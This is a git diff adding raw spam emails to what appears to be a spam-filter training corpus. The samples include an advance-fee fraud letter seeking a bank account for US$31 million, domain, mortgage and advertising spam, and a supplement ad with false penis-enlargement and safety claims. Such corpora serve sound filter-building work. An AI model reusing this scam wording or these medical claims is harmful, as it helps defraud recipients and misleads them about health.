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    + + + +------=_NextPart_000_646288_01C20FAE.3A8A1810-- diff --git a/bayes/spamham/spam_2/00668.a28b3329f4c8fe4b0761a214362ed3f9 b/bayes/spamham/spam_2/00668.a28b3329f4c8fe4b0761a214362ed3f9 new file mode 100644 index 0000000..7a8c89c --- /dev/null +++ b/bayes/spamham/spam_2/00668.a28b3329f4c8fe4b0761a214362ed3f9 @@ -0,0 +1,216 @@ +From dr_tomeke10@spinfinder.com Mon Jun 24 17:49:27 2002 +Return-Path: dr_tomeke10@spinfinder.com +Delivery-Date: Mon Jun 10 10:59:56 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5A9xtG01222 for + ; Mon, 10 Jun 2002 10:59:56 +0100 +Received: from nigol.net.ng (nigol.net.ng [212.96.29.10]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5A9xom29880 for + ; Mon, 10 Jun 2002 10:59:52 +0100 +Received: from lap1 ([212.96.29.185]) by nigol.net.ng (Post.Office MTA + v3.1.2 release (PO205-101c) ID# 0-71562U600L500S0) with SMTP id AAA180; + Sun, 9 Jun 2002 21:29:39 +0200 +To: dr_tomeke10@spinfinder.com +From: dr_tomeke10@spinfinder.com +Subject: Urgent Contact +Date: Sun, 09 Jun 2002 21:29:18 +0100 +Message-Id: <37416.895352199078400.290@localhost> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Keywords: +Content-Transfer-Encoding: 8bit + +FROM THE DESK OF: Dr tom eke. +E-Mail:dr_tomeke@spinfinder.com +LAGOS - NIGERIA. + +ATTN: + + +REQUEST FOR URGENT BUSINESS RELATIONSHIP. + +It is with my profound dignity that I write you this +very important +and highly confidential letter. First, I must +solicit your strictest +confidentiality in this transaction. This is by +virtue of its nature +as being utterly CONFIDENTIAL and "TOP SECRET". +Though I know that a +transaction of this magnitude will make any one +apprehensive and +worried,considering the fact that we have not met +each other before, +but I am assuring you that all will be well at the +end of the day. We +have decided to contact you by email due to the +urgency of this +transaction, as we have been reliably informed that +it will take at +least a minimum of two to three weeks for a normal +post to reach you, +so we decided it is best using the e-mail,which is +quicker and also +to enable us meet up with the second quater payment +for the year +2000. + +However, let me start by introducing myself properly +to you. I +am Dr.tom eke, a Director General in the Department +Of Petroleum +Resources(D.P.R) and I presently head The Contract +Award Panel incharge +of Contract Awards and Payment Approvals. I came to +know of you in my search for a reliable and +reputable person to +handle a very confidential business transaction +which involves the +transfer of a huge sum of money to a foreign account +requiring +maximum CONFIDENCE. I and my colleagues are Top +Officials of the +Federal Government Contract Award Panel. Our duties +include Evaluation, Vetting, Approval for payment of +Contract jobs +done for the D.P.R e.t.c. In order to commence this +business we +solicit for your assistance to enable us transfer +into your Account +the said funds. The source of this funds is as +follows: In the second +quarter of 2001 this committee was mandated to +review and award +contracts to the tune of US$400 million US dollars +to a group of five +firms for the supply construction and installation +of Oil Pipe lines +in Warri and Port Harcourt. During this process my +colleagues and I +decided and agreed among ourselves to deliberately +over-inflate the +total contract sum from US$400 million to US$431 +million United +States dollars with the main intention of sharing +the remaining sum +of US$31 miilion amongst ourselves. + +The Federal Government of Nigeria has since the +second quater of +year 2001 approved the sum of US$431 million for us +as the contract sum, +and the sum of US$400 million has also been paid to +the foreign companies +concerned as contract entitlements for the various +contracts done, but +since the companies are entiltled to US$400 million +dollars only, we are +now left with US$31 million dollars balance in the +account which we intend to +disburse amongst ourselves, but by virtue of our +positions as civil +servants and members of this panel, we cannot do +this by ourselves, +as we are prohibited by the Code of Conduct Bureau +(Civil Service +Laws) from opening and/or operating foreign accounts +in our names +while still in Government service, making it +impossible for us to +acquire the money in our names right now. I have +therefore, been +delegated as a matter of trust and urgency by my +colleagues in the +panel to look for an overseas partner into whose +account we would +transfer the sum of US$31 million. Hence we are +writing you this +letter. My Colleagues and I have agreed that if you +or your company +can act as the beneficiary of this funds on our +behalf, you or your +Company will retain 20% of the total amount (US$31 +million), while +70% will be for us(OFFICIALS) and the remaining 10% +will be used in +offsetting all debts/expenses and Taxes incurred +both local and +foreign in the cause of this transfer. Needless to +say, the trust +reposed on you at this juncture is enormous. In +return we demand your +complete honesty and trust. + +You must however NOTE that this transaction will be +strictly based +on the following terms and conditions as we have +stated below; +a) Our conviction of your transparent honesty and +diligence +b) That you would treat this transaction with utmost +secrecy and confidentiality +c) That you will not ask for more share or try to +sit on the funds once it is under +your custody, or any form of blackmail. +d) That upon receipt of the funds you will release +the funds as instructed +by us after you have removed your share of 20% from +the total amount. +Please, note that this transaction is 100% legal and +risk free and we hope to conclude +this transaction seven to fourteen bank working days +from the date +of receipt of the necessary requirements from you . +We are looking +forward to doing business with you and solicit your +Total Confidentiality +in this transaction. There is no cause for alarm. I +give you my word that you +are completely safe in doing business with us. +Transactions like this +have been successfully carried out in the past by +most Government +executives. Here in my country there is great +economic and political +disarray and thus looting and corruption is rampant +and the order of +the day, thus explaining why you might have heard +stories of how +money is been taken out of Nigeria, this is because +everyone is +making desperate attempts to secure his or her +future, so that when +we retire from active service we donot languish in +poverty. I will +explain more to you when I have heard from you. + +Please acknowledge the receipt of this letter using +the above e-mail address. +I will bring you into the complete picture of this +pending business +transaction when I have heard from you and also +receive your +confidential telephone and fax numbers to enable me +fax to you all +necessary information you need to know about our +pending business +transaction. I will also send to you my private +telephone and fax +numbers where you can always reach me. Your urgent +response will be +highly appreciated to enable us transfer the funds +under the second +quarter of the year 2002. Thank you and God Bless. + +Yours faithfully, + +Dr.tom eke. + +N.B. PLEASE BE INFORMED THAT THIS BUSINESS +TRANSACTION IS 100% LEGAL +AND COMPLETELY FREE FROM DRUG MONEY OR MONEY +LAUNDERING. THIS IS A +COMPLETE LEGITIMATE BUSINESS TRANSACTION. +-- + + diff --git a/bayes/spamham/spam_2/00669.790cde659c7d18535eb46cfa4398458d b/bayes/spamham/spam_2/00669.790cde659c7d18535eb46cfa4398458d new file mode 100644 index 0000000..5c2bd4b --- /dev/null +++ b/bayes/spamham/spam_2/00669.790cde659c7d18535eb46cfa4398458d @@ -0,0 +1,55 @@ +From marcela_coman536048@lycos.com Mon Jun 24 17:49:21 2002 +Return-Path: marcela_coman536048@lycos.com +Delivery-Date: Sun Jun 9 22:53:29 2002 +Received: from lycos.com ([194.65.86.130]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g59LrJG01159 for ; + Sun, 9 Jun 2002 22:53:20 +0100 +Date: Sun, 9 Jun 2002 22:53:20 +0100 +Received: from unknown (HELO n7.groups.yahoo.com) (78.75.229.119) by + web13708.mail.yahoo.com with asmtp; Sun, 09 Jun 2002 19:55:59 +0200 +Received: from unknown (HELO f64.law4.hotmail.com) (49.101.61.210) by + pet.vosn.net with QMQP; Sun, 09 Jun 2002 10:49:39 +1100 +Reply-To: +Message-Id: <003a04d84ccb$7377e2e5$8cb37ac5@fidtog> +From: +To: +Subject: BIZ, .INFO, .COM for only $14.95 (5026HbTl0-754G@13) +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Internet Mail Service (5.5.2650.21) +Importance: Normal +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C3_60B88E3C.B6533E22" + +------=_NextPart_000_00C3_60B88E3C.B6533E22 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + +eyVSQU5EfQ0KUFVCTElDIEFOTk9VTkNFTUVOVDoNCg0KVGhlIG5ldyBkb21h +aW4gbmFtZXMgYXJlIGZpbmFsbHkgYXZhaWxhYmxlIHRvIHRoZSBnZW5lcmFs +IHB1YmxpYyBhdCBkaXNjb3VudCBwcmljZXMuIE5vdyB5b3UgY2FuIHJlZ2lz +dGVyIG9uZSBvZiB0aGUgZXhjaXRpbmcgbmV3IC5CSVogb3IgLklORk8gZG9t +YWluIG5hbWVzLCBhcyB3ZWxsIGFzIHRoZSBvcmlnaW5hbCAuQ09NIGFuZCAu +TkVUIG5hbWVzIGZvciBqdXN0ICQxNC45NS4gVGhlc2UgYnJhbmQgbmV3IGRv +bWFpbiBleHRlbnNpb25zIHdlcmUgcmVjZW50bHkgYXBwcm92ZWQgYnkgSUNB +Tk4gYW5kIGhhdmUgdGhlIHNhbWUgcmlnaHRzIGFzIHRoZSBvcmlnaW5hbCAu +Q09NIGFuZCAuTkVUIGRvbWFpbiBuYW1lcy4gVGhlIGJpZ2dlc3QgYmVuZWZp +dCBpcyBvZi1jb3Vyc2UgdGhhdCB0aGUgLkJJWiBhbmQgLklORk8gZG9tYWlu +IG5hbWVzIGFyZSBjdXJyZW50bHkgbW9yZSBhdmFpbGFibGUuIGkuZS4gaXQg +d2lsbCBiZSBtdWNoIGVhc2llciB0byByZWdpc3RlciBhbiBhdHRyYWN0aXZl +IGFuZCBlYXN5LXRvLXJlbWVtYmVyIGRvbWFpbiBuYW1lIGZvciB0aGUgc2Ft +ZSBwcmljZS4gIFZpc2l0OiBodHRwOi8vd3d3LmFmZm9yZGFibGUtZG9tYWlu +cy5jb20gdG9kYXkgZm9yIG1vcmUgaW5mby4NCiANClJlZ2lzdGVyIHlvdXIg +ZG9tYWluIG5hbWUgdG9kYXkgZm9yIGp1c3QgJDE0Ljk1IGF0OiBodHRwOi8v +d3d3LmFmZm9yZGFibGUtZG9tYWlucy5jb20uIFJlZ2lzdHJhdGlvbiBmZWVz +IGluY2x1ZGUgZnVsbCBhY2Nlc3MgdG8gYW4gZWFzeS10by11c2UgY29udHJv +bCBwYW5lbCB0byBtYW5hZ2UgeW91ciBkb21haW4gbmFtZSBpbiB0aGUgZnV0 +dXJlLg0KIA0KU2luY2VyZWx5LA0KIA0KRG9tYWluIEFkbWluaXN0cmF0b3IN +CkFmZm9yZGFibGUgRG9tYWlucw0KDQoNClRvIHJlbW92ZSB5b3VyIGVtYWls +IGFkZHJlc3MgZnJvbSBmdXJ0aGVyIHByb21vdGlvbmFsIG1haWxpbmdzIGZy +b20gdGhpcyBjb21wYW55LCBjbGljayBoZXJlOg0KaHR0cDovL3d3dy5jZW50 +cmFscmVtb3ZhbHNlcnZpY2UuY29tL2NnaS1iaW4vZG9tYWluLXJlbW92ZS5j +Z2kNCjMwDQoNCg0KWzk0MzBwSGJUNC04OThsR3lRODA1OWlDdU0zLTQwMGdZ +cUs3NjYxY1VtRzMtOTE5elJMRDcxNjB2cGh6Mi01MjFUTERANjNdDQo= + diff --git a/bayes/spamham/spam_2/00670.a3175dd0b4a1e1a26822c5fee6d6837b b/bayes/spamham/spam_2/00670.a3175dd0b4a1e1a26822c5fee6d6837b new file mode 100644 index 0000000..5d1ad92 --- /dev/null +++ b/bayes/spamham/spam_2/00670.a3175dd0b4a1e1a26822c5fee6d6837b @@ -0,0 +1,153 @@ +From developers@palmgear.com Mon Jun 24 17:49:22 2002 +Return-Path: developers@palmgear.com +Delivery-Date: Mon Jun 10 02:36:57 2002 +Received: from appereto.com (mail2.intelenet.net [209.80.45.9]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5A1auG15452 for + ; Mon, 10 Jun 2002 02:36:57 +0100 +Received: from [216.23.191.127] (HELO mail.palmgear.com) by appereto.com + (CommuniGate Pro SMTP 3.5.9) with ESMTP id 434609 for + jm-palmgear@jmason.org; Sun, 09 Jun 2002 18:36:55 -0700 +Content-Type: text/plain +Date: Sun, 09 Jun 2002 18:26:58 -0700 +From: developers@palmgear.com +Subject: Limited Time Offer! +To: yyyy-palmgear@spamassassin.taint.org +Message-Id: +X-Keywords: + +Greetings from PalmGear.com! + +Developers, + +PalmGear.com is currently offering a 15% discount on all Advertising through the end of June! The cost have been dropped and discounts will be given if you would like to trade for Past Due Payment or if you pre-pay for the advertising. Please contact me if you have any questions or if you would like to get signed up! + +Below are the options and cost to advertise! + +Regards, + +Jake Divjak +www.PalmGear.com +jaked@palmgear.com +Phone-817-271-9807 + + +Web Banner Ads- + +All ad prices are based on 3 Month minimums, prepaid. + +Home page ads will be rotated with no more than 10 advertisers at one time. +Software Search, Top 50 Monthly, Top 50 Downloads, The Essentials and Gear’s +Choice and all software categories will be rotated with no more than 3 +advertisers at one time. + +Pricing is defined as follows, depending upon your association with +PalmGear.com and the URL that you will direct customers to. + + +Pricing – per month +Homepage (10 Advertisers Max) – $1000 +Left Colum Badge Homepage $2000 +Homepage Product Images (3 rows, 4 images per row)PRICES VARY +Top 50 (3 Advertisers Max) – $300 +Top 50 Monthly (3 Advertisers Max) – $300 +Essentials (3 Advertisers Max) –$300 +Gear’s Choice (3 Advertisers Max) –$300 +My PalmGear (3 Advertisers Max) – $200 +Developers (3 Advertisers Max) – $200 +Software Category Pages (3 Advertisers Max) – Cost and varies depending upon +category +Tips and Tricks (3 Advertisers Max) – $200 +Related Links (3 Advertisers Max) – $200 + +Advertisements for product(s) that are sold by PalmGear.com with the ad +directing customers to your product description page on PalmGear.com. +receive these discounts. + +Ad Payment & Placement +Payment for all advertising must be made prior to placement and may be made +either via check or credit card. + +Ad Specifications +Top Banners - 468 x 60 +12K File Size maximum + +We currently will only accept Graphic Banner Ads, no forms, etc. + +Graphic files must be stored on our servers. All advertising will be taxed +for this reason. + +Statistics +Each advertiser can log in through the developer section, with their user +name and password and the statistics for their banners will be viewable +there. + +---------------------------------------------------------------------------- + +My PalmGear Subscriber E-Mail Blast + +Pricing – +$1000 – Currently at aprox. 115,000 Users + +How it works – +With this advertising option, you can effectively reach all of the My +PalmGear Subscribers that have requested new information and updates to be +e-mailed to them. The process is as follows + +E-mail Blasts are sent out on the 15th of every month. These can be reserved +in advance on a first-come, first-serve basis. + +All text will be sent to PalmGear.com for approval and then on the assigned +day will be e-mailed to the My PalmGear Subscribers that have requested +this. + +---------------------------------------------------------------------------- + +Product Confirmation E-Mail Blurb + +Pricing – +$1000 – Currently sending out aprox. 65,000 + +How it works – +For each individual software product that is ordered, a confirmation is +e-mailed to the customer that details the information about that order. At +the bottom of each e-mail, there is a space available for advertisers to put +a short message about their product, company, etc. The process for this is +as follows. + +Product Confirmation E-Mails are sent out with every software order +registration. A company can reserve this option for a months period at a +time. They will have exclusive right to that space for that month. Months +can be reserved in advance on a first-come, first-serve basis. + +All text will be sent to PalmGear.com for approval and then on the first day +of the month, that information will be attached to those e-mails. + +---------------------------------------------------------------------------- + +Shipping Insert + +Pricing – +$0.10 per insertion – Currently sending out aprox 6000 per month + +How it works – +For each order that is placed for shipped products, a shipping invoice is +inserted into the shipment. There is the opportunity to include a preprinted +insert into each of these. They would need to reference that the item(s) can +be purchased at PalmGear. The advertiser is responsible for printing costs. +(Only 2 per shipment) + + + + + + + +Regards, + +, +PalmGear.com +http://www.palmgear.com +"The One Stop Source for your Palm OS Based Organizer!" + +and Handspring Visor Modules too at http://www.palmgear.com/hs ! + diff --git a/bayes/spamham/spam_2/00671.2f0813fb11358b8355a6202a8e7082e8 b/bayes/spamham/spam_2/00671.2f0813fb11358b8355a6202a8e7082e8 new file mode 100644 index 0000000..b4a30a9 --- /dev/null +++ b/bayes/spamham/spam_2/00671.2f0813fb11358b8355a6202a8e7082e8 @@ -0,0 +1,88 @@ +From a1itraffic1@web.de Mon Jun 24 17:49:18 2002 +Return-Path: a1itraffic1@web.de +Delivery-Date: Sun Jun 9 09:09:12 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5989CG08695 for + ; Sun, 9 Jun 2002 09:09:12 +0100 +Received: from srvbarexc1.courts.com.bb ([200.50.92.42]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5989Am26414 for + ; Sun, 9 Jun 2002 09:09:10 +0100 +Message-Id: <200206090809.g5989Am26414@mandark.labs.netnoteinc.com> +Received: from email1.atc.cz (213.237.45.193.adsl.by.worldonline.dk + [213.237.45.193]) by srvbarexc1.courts.com.bb with SMTP (Microsoft + Exchange Internet Mail Service Version 5.5.2653.13) id L93BX23J; + Sun, 9 Jun 2002 04:06:00 -0400 +To: +From: a1itraffic1@web.de +Subject: Get More Orders For Anything you Sell +Date: Sun, 09 Jun 2002 16:04:03 -1200 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + +New Page 1 + + + + + +

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    + + diff --git a/bayes/spamham/spam_2/00673.89b0df1a8a6e1a95c48f1f63e48648f4 b/bayes/spamham/spam_2/00673.89b0df1a8a6e1a95c48f1f63e48648f4 new file mode 100644 index 0000000..dbd0e0b --- /dev/null +++ b/bayes/spamham/spam_2/00673.89b0df1a8a6e1a95c48f1f63e48648f4 @@ -0,0 +1,314 @@ +From loans@thezs.com Mon Jun 24 17:49:25 2002 +Return-Path: loans@thezs.com +Delivery-Date: Mon Jun 10 08:09:33 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5A79WG27378 for + ; Mon, 10 Jun 2002 08:09:32 +0100 +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5A79Tm29496 for + ; Mon, 10 Jun 2002 08:09:30 +0100 +Received: from laka7.com (unknown [63.218.225.142]) by smtp.easydns.com + (Postfix) with SMTP id 99BCA2D89C for ; Mon, + 10 Jun 2002 03:09:26 -0400 (EDT) +Subject: *-ADV- LOWEST MORTGAGE RATES IN AMERICA - 8976-- NJOU7 +Message-Id: +From: loans@thezs.com +MIME-Version: 1.0 +X-Encoding: MIME +To: gen@thezs.com +Date: Mon, 10 Jun 2002 03:09:40 -0500 +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_186_75347104803485215881" +Content-Transfer-Encoding: Quoted-Printable + +This is a multi-part message in MIME format. + +------=_NextPart_186_75347104803485215881 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +If you wish to unsubscribe from this list, please send an email to = +remove@nouce1.com with REMOVE in the Subject line +or call us at 1-800-866-667-5399, or write us at: NOUCE1, 6822 22nd Ave. N., = +St Petersburg, FL 33710-3918. +=3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D== +=3D==3D==3D==3D==3D==3D==3D==3D==3D== + +LOWEST MORTGAGE RATES IN AMERICA + +EASY ONLINE FORM: LESS THAN 5 MINUTES TO COMPLETE + +=3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D==3D== +FOR MORE INFORMATION PLEASE GO TO + +http://www.thezs.com/0066/index.html + + +RATES ARE LOW - DON'T MISS THIS OPPORTUNITY + +Good or Bad Credit. +Ideal Time to Purchase a Home. +Refinance your Existing Mortgage - Lower your Current Payments. +Convert your Adjustable Rate Mortgage (ARM) to a low fixed loan. +Convert your ARM to a better ARM. +Convert your 30 yr Mortgage to a 15 yr Mortgage - build equity faster. +Need Cash? Home equity loan rates are priced right. + +Save Hundreds of Dollars Each Month - Rates are Great - Don't Miss This = +Opportunity. + +////////////////////////////////////////////////////////////////////// + +FOR MORE INFORMATION PLEASE GO TO + +http://www.thezs.com/0066/index.html + +///////////////////////////////////////////////////////////////////// + + +------=_NextPart_186_75347104803485215881 +Content-Type: text/html; + charset=iso-8859-1 +Content-Transfer-Encoding: quoted-printable + + +SOURCE LENDING + + +3:09:40 AM +gen + + + + + + + +
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    RATES ARE LOW - DON'T = + + MISS THIS = +OPPORTUNITY

    +
      +
    • Good + or Bad Credit. +
    • Ideal + Time to Purchase a Home. +
    • Refinance + your Existing Mortgage - Lower your Current + Payments. +
    • Convert + your Adjustable Rate Mortgage (ARM) to a low fixed + loan. +
    • Convert + your ARM to a better ARM. +
    • Convert + your 30 yr Mortgage to a 15 yr Mortgage - build equity + faster. +
    • Need + Cash? Home equity loan rates are priced + right.
    +

    Save + Hundreds of Dollars Each Month - Rates are Great - Don't Miss = +This + Opportunity.= +

    +

    +
    + + + + + +
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    + + +------=_NextPart_186_75347104803485215881-- + diff --git a/bayes/spamham/spam_2/00674.e67bea8d6a30cd45e1efc5bc5dbf8b57 b/bayes/spamham/spam_2/00674.e67bea8d6a30cd45e1efc5bc5dbf8b57 new file mode 100644 index 0000000..99bc2ec --- /dev/null +++ b/bayes/spamham/spam_2/00674.e67bea8d6a30cd45e1efc5bc5dbf8b57 @@ -0,0 +1,430 @@ +From dave650@altavista.com Mon Jun 24 17:49:45 2002 +Return-Path: dave650@altavista.com +Delivery-Date: Mon Jun 10 23:43:10 2002 +Received: from altavista.com ([211.181.100.135]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g5AMh4G02803 for ; + Mon, 10 Jun 2002 23:43:05 +0100 +Reply-To: +Message-Id: <032e17e88d0e$6148b2d4$6eb63be6@shqjjj> +From: +To: +Subject: Increase your penis size 25% in 2 weeks! +Date: Mon, 10 Jun 0102 16:27:33 +0600 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +Importance: Normal +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" + + + +Have a BLAST in bed + + +

    Have a BLAST in bed, +GUARANTEED!

    + +

    + + + + + + + +
    +
    +Finally, a safe and natural penile enlargement +supplement!
    + Naturally boost your sex drive and rejuvenate sexual +function.
    +
    + +

    Good news, men! Recent +discoveries in herbal medicine have made it possible for men to +safely and effectively boost their sexual vitality while increasing +their penis size by 25% or more!

    + +

    Certified Natural Laboratories is pleased to introduce the +latest addition to their widely acclaimed line of herbal +supplements: Maxaman™.

    + +

    Specially formulated with herbs and extracts from around +the globe, Maxaman™ can help to enhance sexual sensitivity, +increase sexual stamina, and actually increase the size of your +penis by up to 25%. The special blend of herbs in Maxaman™ +have been shown to boost blood flow to the penis, thus expanding +the sponge-like erectile tissue in the penis, leading to size gains +in both length and thickness.

    + +

    A +recent survey showed that 68% of women are unsatisfied with the +size of their partners. Of course most of these women would never +tell their partner that they are unhappy with their penis size. +Having a small or average-sized penis can result in depression and +feelings of inadequacy. Thankfully, men of all ages can now safely +and naturally increase the size of their penis and renew sexual +vitality without resorting to dangerous surgery.

    + + + + + + + + + + + +
    +
    What To +Expect:
    +
    +

    1-2 weeks
    + Most men notice more powerful and longer lasting erections almost +immediately. A noticeable increase in thickness is also +common.
    +
    + 3-8 weeks
    + By this point you should be able to notice an increase in +thickness in both erect and flaccid states, as well as an overall +increase in length.
    +
    + 9 weeks +
    + After nine weeks, your penis should be noticeably larger in both +length and girth.

    + +

     

    +
    + +

    Below is a comparison chart compiled from the most recent +data on penis size. See how you measure up...

    + +

    How to measure your penis size +correctly: To determine length, measure the erect penis +from the base of the penis where the top of the shaft meets the +pubic area (the peno-pubic junction) to the tip of the head. For +uncircumcised men the foreskin should be retracted. To determine +width, measure at mid-shaft around the circumference while the +penis is erect.

    + +

    +Whether you have a small, average or large penis, it is now +possible for you to increase the size of your penis by up to 25% +without resorting to dangerous surgery or cumbersome +weights.

    + +

    The +all-natural proprietary blend of unique herbs found in Maxaman is +designed to restore blood flow, unleash stored testosterone, and +heighten sensation by activating the body's natural hormone +production and supplying vital nutrients necessary for peak sexual +performance. All of the ingredients in Maxaman are stringently +scrutinized, and are guaranteed to be of the highest pharmaceutical +grade.

    + + + + + + + +
    1. How does Maxaman +work?
    +     The all +natural proprietary blend of unique ingredients found in Maxaman is +designed to restore blood flow, unleash stored testosterone, and +heighten sensation by activating the body's natural hormone +production and supplying vital nutrients necessary for peak sexual +performance. The special blend of herbs in Maxaman have been shown +to boost blood flow to the penis, thus expanding the sponge-like +erectile tissue in the penis, leading to size gains in both length +and thickness. + +

    2. Is Maxaman +safe?
    +     Because +Maxaman is an all natural nutritional supplement containing only +the finest botanicals, there are no harmful side effects when taken +as directed. Maxaman is not a pharmaceutical drug and contains none +of the synthetic chemicals found in prescription medications. It is +a safe alternative to dangerous surgery.

    + +

    3. What +can Maxaman do for me?
    + +Common benefits +from using Maxaman include:
    +     Up to a 25% increase in penis length and thickness
    + Increased stamina
    + Improved sexual desire
    + Stronger, more powerful erections
    + Greater control over ejaculation
    + Stronger climaxes and orgasms

    + +

    4. Will +I experience any side effects?
    +     There +are no harmful side effects when taken as directed.

    + +

    5. What ingredients are used in +Maxaman?
    +     Maxaman is all natural, and made from the finest quality +botanicals available. To read more about each of these key +ingredients, please read below for all the details.

    + +

    6. How +should I use Maxaman?
    + The normal +dosage of Maxaman is two capsules with a meal and a glass of water. +The cumulative effects of Maxaman increase with each dosage, making +it even more effective with continued use. Do not exceed six +capsules daily.

    + +

    7. Do I +need a prescription to use Maxaman?
    + No you do not. +Because Maxaman is an all natural nutritional supplement containing +only the finest botanicals, there is no need to obtain a +prescription.

    + +

    8. How +does Maxaman differ from other penis lengthening +procedures?
    + Maxaman is not +a pharmaceutical drug and contains none of the synthetic chemicals +found in prescription medications. It is an all natural formula +designed to boost blood flow to the penis, thus expanding the +sponge-like erectile tissue in the penis, leading to size gains in +both length and thickness. Maxaman provides men with a safe and +natural alternative to potentially dangerous +surgery.

    + +

    9. How +long will it take to get my order?
    + Shipped the same day payment is received in most +cases..

    + +

    10. Is it really safe to order +online?
    + Absolutely! +All information about your order is encrypted, and cannot be viewed +by anyone else. Ordering online using this state-of-the-art +processing system is actually much safer than using your credit +card in a restaurant or at the mall.

    + +

    11. Is +Maxaman shipped discreetly?
    + Yes it is! +Maxaman is sent in an unmarked box with no indication whatsoever as +to what is contained inside.

    + +

    11. How +much is shipping and handling?
    +     +$6.95 for the 1st. bottle and free for any +order more than 1 bottle.

    + +

     

    + + + + + + + +
    +
    The special +blend of herbs in Maxaman™ have been shown to boost +blood flow to the penis, thus expanding the sponge-like erectile +tissue in the penis, leading to size gains in both length and +thickness.
    +       + +

    The proprietary blend of herbs +found in Maxaman™ consists of:

    + +

    +Zinc (as zinc oxide) - This essential mineral is required for +protein synthesis and collagen formation. Sufficient intake and +absorption of zinc are needed to maintain a proper concentration of +Vitamin E.

    + +

    +Yohimbe - Used traditionally to treat impotence and frigidity, +Yohimbe helps to increase blood flow and sensitivity of nerves, +especially in the pelvic region. It is commonly used as an +aphrodisiac to stimulate sexual organs and improve central nervous +system function.

    + +

    +Maca - Maca is an adaptogen. It works to create harmony in the +body, regulating levels of hormones and enzymes to create a state +of homeostasis.

    + +

    +Catuaba - Native to Brazil and parts of the Amazon, Catuaba is +a central nervous system stimulant commonly used throughout the +world for treating sexual impotence, exhaustion and fatigue.
    +
    + Muira Puama - A South American herb, Muira Puama has been +used to treat impotence for hundreds of years. It is highly sought +after for its strong stimulant qualities.

    + +

    +Oyster Meat - Historically +known as an aphrodisiac, oyster meat contains flavonoids that have +been shown to stimulate the reproductive system.

    + +

    +L-Arginine - L-Arginine +is an amino acid which helps to create nitric oxide in the human +body. Nitric oxide is the most essential substance influencing +sexual function in both men and women. Nitric oxide promotes +circulation, resulting in improved blood flow.
    +  

    + +

    +Oatstraw - Used to +treat fatigue and exhaustion, Oatstraw improves brain and nervous +system function and has been used to treat impotence. It is +extremely useful for aiding your body in recovering from +exhaustion, as well as correcting sexual debility.

    + +

    +Nettle Leaf - Acts as a +diuretic, expectorant and tonic. It is rich in iron and chlorophyll +to clean and nourish the blood.

    + +

    Cayenne - Cayenne improves +circulation, increases the metabolic rate and acts as a catalyst +for other herbs.

    + +

    Pumpkin Seed - Pumpkin seed is +commonly used to strengthen the prostate gland and promote male +hormone function. Myosin, an amino acid found in pumpkin seeds, is +known to be essential for muscular contractions.

    + +

    +Sarsaparilla - Found along +the coast of Peru, Sarsaparilla aids in the production of +testosterone and progesterone.

    + +

    +Orchic Substance - This is an +extract from bovine testes, and is proven to increase testosterone +levels without harmful steroids.

    + +

    +Licorice Root - Licorice root fights inflammation, as well as +viral, bacterial and parasitic infection. Licorice cleanses the +colon, and enhances microcirculation in the gastrointestinal +lining.

    + +

    +Tribulus - A natural testosterone enhancer, Tribulus can +improve desire and performance and increase sexual energy. Tribulus +is also an excellent circulatory and heart tonic and can help +dilate arteries. In India it is used as a tonic for the urinary +system.

    + +

    +Ginseng Blend (Siberian, American & Korean) - Commonly used by athletes for overall body strengthening, +Ginseng fortifies the adrenal gland, and promotes healthy +circulation. It increases the conversion rate of sugars into the +necessary substrates for the formation of fatty acids in the liver. +Ginseng stimulates the central nervous system, and is a quick +antidote for fatigue.

    + +

    Astragalus - Regarded as a potent +tonic for increasing energy levels and stimulating the immune +system, Astragalus has also been employed effectively as a +diuretic.

    + +
    +
    Boron +- Boron helps to prevent the loss of calcium, phosphorus and +magnesium through the urine.
    +  
    +
    + +

    + +

    +ORDER NOW!

    + +

    + +Afraid its not for you? Don't worry we offer a LIFETIME +Guarantee! If your not ecstatic with our product, just return the +unused portion for a FULL Refund!! No questions will be +asked!
    +
    +     + +
    Thank you for your time and I hope to hear from you +soon!
    +
    +
    +
